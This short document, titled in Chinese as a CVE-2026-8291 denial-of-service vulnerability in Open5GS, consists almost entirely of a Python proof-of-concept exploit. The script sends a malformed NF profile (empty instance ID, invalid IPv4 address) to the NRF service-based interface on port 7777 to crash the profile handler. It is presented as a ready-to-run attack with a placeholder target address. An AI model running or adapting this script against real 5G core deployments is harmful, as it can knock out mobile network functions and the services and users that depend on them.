CVE-2026-8291 Open5GS拒绝服务漏洞

import requests import json # Target configuration TARGET_IP = "192.168.1.100" # Replace with actual target IP TARGET_PORT = "7777" # Default Open5GS NRF SBI port URL = f"http://{TARGET_IP}:{TARGET_PORT}/nnrf-nfm/v1/nf-profile" # Malformed payload designed to trigger ogs_nnrf_nfm_handle_nf_profile issue # This payload attempts to send a structure that lacks expected mandatory fields # or contains null values that the handler fails to check. payload = { "nfInstanceId": "", "nfType": "AMF", "nfStatus": "REGISTERED", # Potentially missing critical fields or malformed JSON structure "ipv4Addresses": ["invalid_ip_format"] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit request to {URL}...") response = requests.post(URL, data=json.dumps(payload), headers=headers, timeout=5) print(f"Response Status: {response.status_code}") print("If the service crashed, the connection may be reset or timeout.") except requests.exceptions.RequestException as e: print(f"Request failed (potential DoS triggered): {e}")